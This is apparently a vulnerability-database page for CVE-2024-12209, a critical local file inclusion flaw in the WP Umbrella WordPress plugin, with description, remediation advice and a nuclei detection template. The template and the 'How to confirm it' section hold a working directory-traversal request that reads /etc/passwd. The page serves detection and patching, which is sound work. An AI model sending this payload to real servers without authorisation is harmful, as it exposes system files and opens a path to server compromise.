HexBrain

Browse / CVEs / CVE-2024-12209

CVE-2024-12209· wp-umbrella / wp-umbrella· CWE-98

WP Umbrella Update Backup Restore & Monitoring <= 2.17.0 - Local File Inclusion

criticalseverity
9.8CVSS score
23.2%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

The WP Umbrella: Update Backup Restore & Monitoring plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.17.0 via the 'filename' parameter of the 'umbrella-restore' action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

Impact

Unauthenticated attackers can exploit local file inclusion through the filename parameter in the umbrella-restore action to read arbitrary server files including /etc/passwd, execute PHP code, and gain complete server compromise.

Fix

Validate and sanitize user inputs to prevent directory traversal. Use a whitelist approach for file paths and restrict file access to intended directories only.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/plugins/wp-health"
Send: GET /?umbrella-restore=1&filename=../../../../../../etc/passwd
Positive when: regex('root:.*:0:0:', body) and contains(content_type, 'text/html') and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-12209 -u <target>

The full check
id: CVE-2024-12209

info:
  name: WP Umbrella Update Backup Restore & Monitoring <= 2.17.0 - Local File Inclusion
  author: s4e-io
  severity: critical
  description: |
    The WP Umbrella: Update Backup Restore & Monitoring plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.17.0 via the 'filename' parameter of the 'umbrella-restore' action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
  impact: |
    Unauthenticated attackers can exploit local file inclusion through the filename parameter in the umbrella-restore action to read arbitrary server files including /etc/passwd, execute PHP code, and gain complete server compromise.
  remediation: |
    Validate and sanitize user inputs to prevent directory traversal. Use a whitelist approach for file paths and restrict file access to intended directories only.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-12209
    - https://plugins.trac.wordpress.org/browser/wp-health/tags/v2.16.4/src/Actions/RestoreRouter.php#L45
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3202883%40wp-health&new=3202883%40wp-health&sfp_email=&sfph_mail=
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/c74ce3e8-cab9-4cc6-a1ad-1e51f7268474?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-12209
    cwe-id: CWE-98
    epss-score: 0.23222
    epss-percentile: 0.97785
  metadata:
    verified: true
    max-request: 1
    vendor: wp-umbrella
    product: wp-umbrella
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-health"
  tags: cve,cve2024,wp,wordpress,wp-plugin,wp-health,lfi,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '/wp-content/plugins/wp-health'
        internal: true

  - raw:
      - |
        GET /?umbrella-restore=1&filename=../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "contains(content_type, 'text/html')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from